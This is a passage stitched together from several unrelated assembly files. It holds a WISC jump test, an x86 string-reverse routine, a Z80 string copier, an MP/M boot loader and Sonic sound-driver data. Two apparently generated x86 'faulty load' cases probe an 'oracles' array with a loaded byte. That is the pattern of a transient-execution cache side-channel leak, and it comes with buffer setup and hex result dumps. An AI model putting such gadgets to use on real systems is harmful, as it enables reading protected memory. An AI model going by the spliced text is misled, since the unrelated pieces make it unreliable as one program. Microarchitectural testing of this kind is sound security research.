{'src': {'congruent': 10, 'AVXalign': False, 'same': False, 'size': 2, 'NT': False, 'type': 'addresses_WT_ht'}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'congruent': 3, 'AVXalign': False, 'same': False, 'size': 16, 'NT': False, 'type': 'addresses_WT_ht'}}
{'src': {'congruent': 8, 'same': False, 'type': 'addresses_D_ht'}, 'OP': 'REPM', 'dst': {'congruent': 3, 'same': False, 'type': 'addresses_A_ht'}}
{'src': {'congruent': 8, 'same': False, 'type': 'addresses_D_ht'}, 'OP': 'REPM', 'dst': {'congruent': 9, 'same': False, 'type': 'addresses_A_ht'}}
{'OP': 'STOR', 'dst': {'congruent': 0, 'AVXalign': True, 'same': False, 'size': 1, 'NT': True, 'type': 'addresses_WT_ht'}}
{'OP': 'STOR', 'dst': {'congruent': 10, 'AVXalign': False, 'same': False, 'size': 1, 'NT': True, 'type': 'addresses_WT_ht'}}
{'src': {'congruent': 8, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'REPM', 'dst': {'congruent': 9, 'same': False, 'type': 'addresses_D_ht'}}
{'src': {'congruent': 10, 'same': True, 'type': 'addresses_A_ht'}, 'OP': 'REPM', 'dst': {'congruent': 7, 'same': False, 'type': 'addresses_WT_ht'}}
{'src': {'congruent': 2, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'REPM', 'dst': {'congruent': 6, 'same': True, 'type': 'addresses_UC_ht'}}
{'src': {'congruent': 9, 'AVXalign': False, 'same': True, 'size': 1, 'NT': False, 'type': 'addresses_D_ht'}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'congruent': 6, 'AVXalign': False, 'same': True, 'size': 2, 'NT': False, 'type': 'addresses_D_ht'}}
{'src': {'congruent': 4, 'AVXalign': False, 'same': False, 'size': 2, 'NT': False, 'type': 'addresses_WC_ht'}, 'OP': 'LOAD'}
{'src': {'congruent': 3, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'REPM', 'dst': {'congruent': 5, 'same': False, 'type': 'addresses_A_ht'}}
{'OP': 'STOR', 'dst': {'congruent': 1, 'AVXalign': False, 'same': False, 'size': 32, 'NT': False, 'type': 'addresses_normal_ht'}}
{'00': 21829}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
|
// Original test: ./neel/hw4/problem6/j_0.asm
// Author: neel
// Test source code follows
//Tests j with negative offset
lbi r1,255
j 4
lbi r2,20
halt
lbi r2,30
j -8
halt
|
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r13
push %r15
push %r8
push %r9
push %rcx
push %rdi
push %rsi
lea addresses_A_ht+0x1a0c4, %rsi
lea addresses_WT_ht+0x18660, %rdi
nop
nop
nop
dec %r10
mov $16, %rcx
rep movsb
nop
and $53808, %r13
lea addresses_WC_ht+0x4fc4, %r9
nop
nop
nop
nop
nop
cmp %r8, %r8
movw $0x6162, (%r9)
nop
nop
nop
nop
add $53214, %rsi
lea addresses_UC_ht+0x142c4, %r8
nop
xor $1993, %rsi
mov (%r8), %r13d
nop
nop
add $37769, %r10
lea addresses_UC_ht+0xffc4, %r13
nop
nop
nop
sub $55403, %r9
mov (%r13), %di
nop
cmp $11777, %r9
lea addresses_WC_ht+0x7bc4, %rsi
lea addresses_WC_ht+0x1ed44, %rdi
nop
nop
nop
nop
nop
sub %r15, %r15
mov $103, %rcx
rep movsl
nop
nop
nop
nop
nop
inc %r13
lea addresses_WC_ht+0x103c4, %r15
and %r13, %r13
and $0xffffffffffffffc0, %r15
movaps (%r15), %xmm7
vpextrq $0, %xmm7, %rcx
cmp %rcx, %rcx
lea addresses_D_ht+0xf3c4, %r8
nop
nop
nop
nop
nop
add $47263, %r15
mov (%r8), %edi
nop
nop
nop
nop
nop
inc %r9
lea addresses_WT_ht+0x163c4, %r10
clflush (%r10)
nop
nop
inc %r13
mov (%r10), %di
nop
nop
nop
nop
nop
and %r13, %r13
lea addresses_WC_ht+0x192eb, %r15
nop
nop
nop
nop
dec %rdi
movups (%r15), %xmm4
vpextrq $1, %xmm4, %rsi
nop
nop
nop
cmp $37955, %r9
lea addresses_D_ht+0x6b9c, %rsi
lea addresses_WT_ht+0x164c4, %rdi
nop
nop
nop
nop
inc %r8
mov $90, %rcx
rep movsq
nop
nop
nop
nop
inc %rdi
lea addresses_D_ht+0x1c9c4, %rdi
nop
nop
nop
and %r10, %r10
mov $0x6162636465666768, %r15
movq %r15, (%rdi)
nop
nop
nop
nop
and $15559, %rsi
lea addresses_UC_ht+0x3c4, %r13
nop
nop
nop
nop
cmp %rsi, %rsi
movups (%r13), %xmm1
vpextrq $1, %xmm1, %rdi
and %rsi, %rsi
lea addresses_normal_ht+0x11c4, %rsi
lea addresses_normal_ht+0x145c4, %rdi
nop
nop
xor %r13, %r13
mov $75, %rcx
rep movsw
nop
nop
nop
nop
and %r9, %r9
lea addresses_UC_ht+0x115a4, %r9
nop
sub %r15, %r15
mov (%r9), %r8w
nop
nop
nop
add %rdi, %rdi
lea addresses_UC_ht+0x12404, %r8
nop
xor %rdi, %rdi
movups (%r8), %xmm1
vpextrq $0, %xmm1, %rsi
nop
nop
cmp %rcx, %rcx
pop %rsi
pop %rdi
pop %rcx
pop %r9
pop %r8
pop %r15
pop %r13
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r12
push %r14
push %r8
push %rax
push %rbp
push %rcx
// Faulty Load
lea addresses_normal+0x1a3c4, %r8
nop
nop
nop
nop
nop
xor %rcx, %rcx
movaps (%r8), %xmm0
vpextrq $0, %xmm0, %rax
lea oracles, %r8
and $0xff, %rax
shlq $12, %rax
mov (%r8,%rax,1), %rax
pop %rcx
pop %rbp
pop %rax
pop %r8
pop %r14
pop %r12
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_normal', 'AVXalign': False, 'congruent': 0, 'size': 8, 'same': False, 'NT': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_normal', 'AVXalign': True, 'congruent': 0, 'size': 16, 'same': True, 'NT': False}}
<gen_prepare_buffer>
{'OP': 'REPM', 'src': {'type': 'addresses_A_ht', 'congruent': 7, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 2, 'same': True}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'AVXalign': False, 'congruent': 10, 'size': 2, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_UC_ht', 'AVXalign': False, 'congruent': 4, 'size': 4, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_UC_ht', 'AVXalign': False, 'congruent': 9, 'size': 2, 'same': False, 'NT': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 11, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 7, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'AVXalign': True, 'congruent': 11, 'size': 16, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'AVXalign': False, 'congruent': 10, 'size': 4, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'AVXalign': False, 'congruent': 11, 'size': 2, 'same': False, 'NT': True}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'AVXalign': False, 'congruent': 0, 'size': 16, 'same': False, 'NT': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 2, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 8, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'AVXalign': False, 'congruent': 9, 'size': 8, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_UC_ht', 'AVXalign': False, 'congruent': 10, 'size': 16, 'same': False, 'NT': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 8, 'same': True}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 7, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_UC_ht', 'AVXalign': True, 'congruent': 5, 'size': 2, 'same': True, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_UC_ht', 'AVXalign': False, 'congruent': 4, 'size': 16, 'same': False, 'NT': False}}
{'00': 21829}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
|
section .text
global reverse
reverse:
; Provide your implementation here
mov rsi, rdi
xor al, al
cld
repne scasb
sub rdi, 2
push rsi
.l1:
mov ah, [rsi]
mov al, [rdi]
mov [rdi], ah
mov [rsi], al
inc rsi
dec rdi
cmp rsi, rdi
jle .l1
pop rax
ret
|
; unsigned char *p3dos_copy_cstr_to_pstr(char *pdst, const char *csrc)
SECTION code_esxdos
PUBLIC asm_p3dos_copy_cstr_to_pstr
asm_p3dos_copy_cstr_to_pstr:
; enter : hl = char *csrc (zero terminated string)
; de = char *pdst (copy destination, will be ff terminated)
;
; exit : hl = char *pdst
; de = ptr to terminating ff in pdst
;
; uses : af, bc, de, hl
push de
xor a
loop:
cp (hl)
ldi
jr nz, loop
done:
ld a,$ff
dec de
ld (de),a
pop hl
ret
|
; MP/M 2 boot-loader for Z80-Simulator
;
; Copyright (C) 1989-2007 by Udo Munk
;
ORG 0 ;mem base of boot
;
BOOT EQU 0100H ;cpmldr runs at 0100H
SECTS EQU 51 ;# of sectors to load (26 * 2 - 1)
;
; I/O ports
;
CONDAT EQU 1 ;console data port
DRIVE EQU 10 ;fdc-port: # of drive
TRACK EQU 11 ;fdc-port: # of track
SECTOR EQU 12 ;fdc-port: # of sector
FDCOP EQU 13 ;fdc-port: command
FDCST EQU 14 ;fdc-port: status
DMAL EQU 15 ;dma-port: dma address low
DMAH EQU 16 ;dma-port: dma address high
;
JP COLD
;
ERRMSG: DEFM 'BOOT: error booting'
DEFB 13,10,0
;
; begin the load operation
;
COLD: LD BC,2 ;b=track 0, c=sector 2
LD D,SECTS ;d=# sectors to load
LD HL,BOOT ;base transfer address
LD A,0 ;select drive A
OUT (DRIVE),A
;
; load the next sector
;
LSECT: LD A,B ;set track
OUT (TRACK),A
LD A,C ;set sector
OUT (SECTOR),A
LD A,L ;set dma address low
OUT (DMAL),A
LD A,H ;set dma address high
OUT (DMAH),A
XOR A ;read sector
OUT (FDCOP),A
IN A,(FDCST) ;get status of fdc
OR A ;read successful ?
JP Z,CONT ;yes, continue
LD HL,ERRMSG ;no, print error
PRTMSG: LD A,(HL)
OR A
JP Z,STOP
OUT (CONDAT),A
INC HL
JP PRTMSG
STOP: DI
HALT ;and halt cpu
;
CONT:
;go to next sector if load is incomplete
DEC D ;sects=sects-1
JP Z,BOOT ;head for the bios
;
; more sectors to load
;
; we aren't using a stack, so use <sp> as scratch register
; to hold the load address increment
;
LD SP,128 ;128 bytes per sector
ADD HL,SP ;<hl> = <hl> + 128
;
INC C ;sector = sector + 1
LD A,C
CP 27 ;last sector of track ?
JP C,LSECT ;no, go read another
;
; end of track, increment to next track
;
LD C,1 ;sector = 1
INC B ;track = track + 1
JP LSECT ;for another group
;
END ;of boot loader
|
.global s_prepare_buffers
s_prepare_buffers:
push %r8
push %rax
push %rbp
push %rbx
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_normal_ht+0xaf86, %rsi
lea addresses_A_ht+0xf276, %rdi
nop
nop
nop
lfence
mov $27, %rcx
rep movsq
nop
nop
nop
add $30939, %rax
lea addresses_normal_ht+0x9716, %rsi
lea addresses_WC_ht+0x17dae, %rdi
nop
nop
xor %rbp, %rbp
mov $99, %rcx
rep movsw
xor $30307, %rdi
lea addresses_D_ht+0x28f6, %rdx
dec %rsi
mov $0x6162636465666768, %rbp
movq %rbp, %xmm5
and $0xffffffffffffffc0, %rdx
movaps %xmm5, (%rdx)
nop
nop
nop
and $29782, %rdi
lea addresses_UC_ht+0x9c76, %rsi
lea addresses_D_ht+0x10416, %rdi
nop
xor %rbx, %rbx
mov $47, %rcx
rep movsq
xor $13771, %rbp
lea addresses_A_ht+0x5176, %rsi
lea addresses_WC_ht+0x1d1a7, %rdi
nop
nop
cmp $21596, %rax
mov $80, %rcx
rep movsb
nop
nop
nop
nop
and %rdx, %rdx
lea addresses_WC_ht+0x4646, %rdi
nop
nop
sub %rax, %rax
movb (%rdi), %bl
sub $42514, %rdi
lea addresses_WC_ht+0xc2b6, %rsi
nop
nop
nop
nop
cmp %rbx, %rbx
movl $0x61626364, (%rsi)
nop
nop
sub $46095, %rbx
lea addresses_WT_ht+0x180fa, %rcx
nop
nop
nop
nop
nop
sub $7035, %rsi
mov (%rcx), %edi
nop
nop
and $40529, %rax
lea addresses_WC_ht+0xa176, %rsi
lea addresses_D_ht+0x1cc76, %rdi
nop
add %r8, %r8
mov $1, %rcx
rep movsl
nop
nop
sub %rsi, %rsi
lea addresses_WC_ht+0x11b36, %rsi
nop
nop
nop
nop
nop
cmp $36634, %rax
mov $0x6162636465666768, %rcx
movq %rcx, %xmm7
vmovups %ymm7, (%rsi)
sub %rbx, %rbx
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbx
pop %rbp
pop %rax
pop %r8
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r12
push %r13
push %rbx
push %rcx
push %rdi
push %rdx
// Store
lea addresses_A+0xaff6, %r12
nop
nop
nop
nop
nop
xor $55879, %r10
mov $0x5152535455565758, %rbx
movq %rbx, %xmm2
vmovups %ymm2, (%r12)
nop
nop
nop
nop
nop
add $24629, %r10
// Load
lea addresses_RW+0x1c476, %rdi
and $40843, %rcx
mov (%rdi), %r13d
nop
nop
nop
nop
and $13575, %r13
// Store
lea addresses_WC+0x1e876, %rcx
nop
nop
nop
and $64096, %rdx
mov $0x5152535455565758, %r10
movq %r10, %xmm2
vmovups %ymm2, (%rcx)
nop
nop
nop
nop
nop
add %r13, %r13
// Store
lea addresses_PSE+0x1c442, %rbx
nop
nop
and %rdi, %rdi
movl $0x51525354, (%rbx)
nop
inc %r13
// Faulty Load
lea addresses_WC+0x1e876, %r10
inc %r13
movups (%r10), %xmm5
vpextrq $0, %xmm5, %rdi
lea oracles, %rcx
and $0xff, %rdi
shlq $12, %rdi
mov (%rcx,%rdi,1), %rdi
pop %rdx
pop %rdi
pop %rcx
pop %rbx
pop %r13
pop %r12
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'src': {'type': 'addresses_WC', 'same': False, 'size': 4, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'dst': {'type': 'addresses_A', 'same': False, 'size': 32, 'congruent': 7, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_RW', 'same': False, 'size': 4, 'congruent': 6, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'dst': {'type': 'addresses_WC', 'same': True, 'size': 32, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_PSE', 'same': False, 'size': 4, 'congruent': 2, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
[Faulty Load]
{'src': {'type': 'addresses_WC', 'same': True, 'size': 16, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'type': 'addresses_normal_ht', 'congruent': 4, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 9, 'same': False}, 'OP': 'REPM'}
{'src': {'type': 'addresses_normal_ht', 'congruent': 5, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 3, 'same': False}, 'OP': 'REPM'}
{'dst': {'type': 'addresses_D_ht', 'same': False, 'size': 16, 'congruent': 5, 'NT': False, 'AVXalign': True}, 'OP': 'STOR'}
{'src': {'type': 'addresses_UC_ht', 'congruent': 10, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 1, 'same': False}, 'OP': 'REPM'}
{'src': {'type': 'addresses_A_ht', 'congruent': 8, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 0, 'same': False}, 'OP': 'REPM'}
{'src': {'type': 'addresses_WC_ht', 'same': False, 'size': 1, 'congruent': 4, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'dst': {'type': 'addresses_WC_ht', 'same': False, 'size': 4, 'congruent': 6, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_WT_ht', 'same': False, 'size': 4, 'congruent': 1, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_WC_ht', 'congruent': 8, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 9, 'same': False}, 'OP': 'REPM'}
{'dst': {'type': 'addresses_WC_ht', 'same': False, 'size': 32, 'congruent': 6, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'58': 21829}
58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58
*/
|
Sound2A_Splash_Header:
smpsHeaderStartSong 2
smpsHeaderVoice Sound2A_Splash_Voices
smpsHeaderTempoSFX $01
smpsHeaderChanSFX $02
smpsHeaderSFXChannel cPSG3, Sound2A_Splash_PSG3, $00, $00
smpsHeaderSFXChannel cFM5, Sound2A_Splash_FM5, $00, $03
; PSG3 Data
Sound2A_Splash_PSG3:
smpsPSGvoice $00
smpsPSGform $E7
dc.b nF5, $05, nMaxPSG, $05, smpsNoAttack
Sound2A_Splash_Loop00:
dc.b $07
smpsPSGAlterVol $01
dc.b smpsNoAttack
smpsLoop $00, $0F, Sound2A_Splash_Loop00
smpsStop
; FM5 Data
Sound2A_Splash_FM5:
smpsSetvoice $00
dc.b nCs3, $14
smpsStop
Sound2A_Splash_Voices:
; Voice $00
; $00
; $00, $03, $02, $00, $D9, $DF, $1F, $1F, $12, $11, $14, $0F
; $0A, $00, $0A, $0D, $FF, $FF, $FF, $FF, $22, $07, $27, $80
smpsVcAlgorithm $00
smpsVcFeedback $00
smpsVcUnusedBits $00
smpsVcDetune $00, $00, $00, $00
